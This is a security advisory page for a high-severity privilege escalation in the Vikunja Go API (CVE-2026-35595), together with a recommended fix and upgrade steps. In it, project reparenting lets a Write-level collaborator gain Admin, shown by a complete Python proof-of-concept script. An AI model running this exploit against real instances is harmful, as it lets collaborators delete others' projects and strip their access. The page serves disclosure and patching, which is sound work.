Skip to content

GHSA-2vq4-854f-5c72 CVE-2026-35595 GO-2026-4952

Vikunja vulnerable to Privilege Escalation via Project Reparenting

High Go
Severity
8.3 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 21.62% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
Fix
2.3.0
Upgrade code.vikunja.io/api to this version or later

Description

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
}

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
   -> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
   -> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
   -> Project deleted. victim gets 404.
import requests                                                                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                                                                                
TARGET = "http://localhost:3456"                                                                                                                                                                                                                                                                                 
API = f"{TARGET}/api/v1"  
                                        
def login(u, p):                     
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
                                        
def h(token):  
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
                                                                                                                                                                                                                                                                                                                    
victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")                                                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                                                                
# victim creates parent -> child project hierarchy                                                                                                                                                                                                                                                               
parent = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()

# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
            json={"username": "attacker", "permission": 1})

# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
                    json={"title": "Attacker Root"}).json()

# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}")  # 403

# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
                json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}")  # 200

# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}")  # 200 - escalated to Admin

# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}")  # 404 - project gone

Output:

DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parent_project_id:

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
    canAdmin, err := p.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !canAdmin {
        return false, ErrGenericForbidden{}
    }
}

Found and reported by aisafe.io

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
< 2.3.0
2.3.0
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.3.0

go
go get code.vikunja.io/api@v2.3.0 && go mod tidy

Severity breakdown

CVSS 3.1 8.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor